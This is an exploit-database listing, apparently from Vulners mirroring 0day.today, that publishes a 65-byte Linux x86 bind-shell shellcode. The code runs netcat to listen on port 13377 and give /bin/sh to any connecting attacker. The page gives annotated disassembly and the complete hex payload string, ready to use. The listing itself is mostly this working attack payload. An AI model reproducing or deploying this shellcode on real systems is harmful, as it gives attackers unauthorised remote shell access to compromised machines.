Lucene search
K

Linux/x86 - bind shell on port 13377 Shellcode (65 bytes)

🗓️ 12 Jan 2021 00:00:00Reported by ac3Type 
zdt
 zdt
🔗 0day.today👁 32 Views

Linux/x86 - bind shell on port 13377 Shellcode (65 bytes) for Linux x86 allowing attacker to connect and gain /bin/sh acces

Code
# Exploit Title: Linux/x86 - bind shell on port 13377 Shellcode (65 bytes)
# Date: Jan 12, 2021
# Exploit Author: ac3
# Version: Linux x86
# Tested on: Linux x86

## linux x86 nc -lvve/bin/sh -p13377 shellcode
## This shellcode will listen on port 13377 using netcat and give /bin/sh to connecting attacker

# 31 c0                   xor    %eax,%eax
# 31 d2                   xor    %edx,%edx
# 50                      push   eax
# 68 33 33 37 37          push   $0x37373333
# 68 2d 76 70 31          push   $0x3170762d
# 89 e2                   mov    %esp,%edx
# 50                      push   %eax
# 68 6e 2f 73 68          push   $0x68732f6e
# 68 65 2f 62 69          push   $0x69622f65
# 68 2d 6c 76 76          push   $0x76766c2d
# 89 e1                   mov    %esp,%ecx
# 50                      push   %eax
# 68 2f 2f 6e 63          push   $0x636e2f2f
# 68 2f 2f 2f 2f          push   $0x2f2f2f2f
# 68 2f 62 69 6e          push   $0x6e69622f
# 89 e3                   mov    %esp,%ebx
# 50                      push   %eax
# 52                      push   %edx
# 51                      push   %ecx
# 53                      push   %ebx
# 31 d2                   xor    %edx,%edx
# 89 e1                   mov    %esp,%ecx
# b0 0b                   mov    $0xb,%al
# cd 80                   int    $0x80

\x31\xc0\x31\xd2\x50\x68\x33\x33\x37\x37\x68\x2d\x76\x70\x31\x89\xe2\x50\x68\x6e\x2f\x73\x68\x68\x65\x2f\x62\x69\x68\x2d\x6c\x76\x76\x89\xe1\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x50\x52\x51\x53\x31\xd2\x89\xe1\xb0\x0b\xcd\x80

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation